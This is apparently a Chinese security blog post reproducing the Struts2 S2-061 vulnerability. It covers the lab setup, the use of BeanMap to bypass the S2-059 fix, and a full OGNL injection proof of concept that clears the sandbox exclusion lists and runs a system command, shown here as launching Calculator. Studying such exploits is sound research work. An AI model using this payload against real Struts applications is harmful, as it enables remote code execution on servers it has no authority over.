s2061复现

s2-061的漏洞复现,s2-061主要是绕s2-059的修复(com.opensymphony.xwork2.ognl 这整个包相当于都没法直接访问了即类似于#attr[‘struts.valueStack’].context是没法用了),这里的思路主要是用到了cc3.2.2中的BeanMap做中转,来解决不能直接访问被禁止包的问题。

前言

s2-061的漏洞复现,s2-061主要是绕s2-059的修复(com.opensymphony.xwork2.ognl 这整个包相当于都没法直接访问了即类似于#attr[‘struts.valueStack’].context是没法用了),这里的思路主要是用到了cc3.2.2中的BeanMap做中转,来解决不能直接访问被禁止包的问题。

复现环境

vulhub的s2-059环境,pom.xml添加如下依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

分析

S2-061本质上来说是对S2-059修补的绕过,针对S2-059的利用,在高版本的struts2中,无法再访问com.opensymphony.*中所有的类和对象,所以S2-061通过BeanMap作为中间件,利用BeanMap的特性曲线获取context,然后通过put方法置空excludedClasses和excludedPackageNames,后续的利用思路和S2-059一致。

看一下BeanMap的使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class User {
private String name;
private Integer age;

public User() {
}

public User(String name, Integer age) {
this.name = name;
this.age = age;
}

public void setName(String name) {
this.name = name;
}

public void setAge(Integer age) {
this.age = age;
}

public String getName() {
return this.name;
}

public Integer getAge() {
return this.age;
}
}

...
BeanMap beanMap=new BeanMap(user);
System.out.println(beanMap.get("name"));
beanMap.put("name","qq");
System.out.println(beanMap.get("name"));

Beanmap.get的方法,获取user对象的属性值,私有属性通过get方法来获取,put通过set方法来赋值

image-20201222220324113

set方法

image-20201222220538271

在ognl.ASTChain的150行下断点,然后过几次,发现application中有一个org.apache.tomcat.InstanceManager类型的对象,可以从该对象获取context。

之后使用put方法重置excludedPackageNames和excludedClasses即可。

poc

1
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)+(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0)+(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0)+(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)+(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0)+(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)+(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({"open -a Calculator"}))

image-20201222221731584

比较好奇的地方

  1. 用的是mvn jerry起的服务,但是里面有tomcat的包,只不过org.apache.tomcat.InstanceManager的键值是SimpleInstanceManager但不是DefaultInstanceManager,但是不影响构造BeanMap。

参考

  1. poc来源
  2. smile s2061分析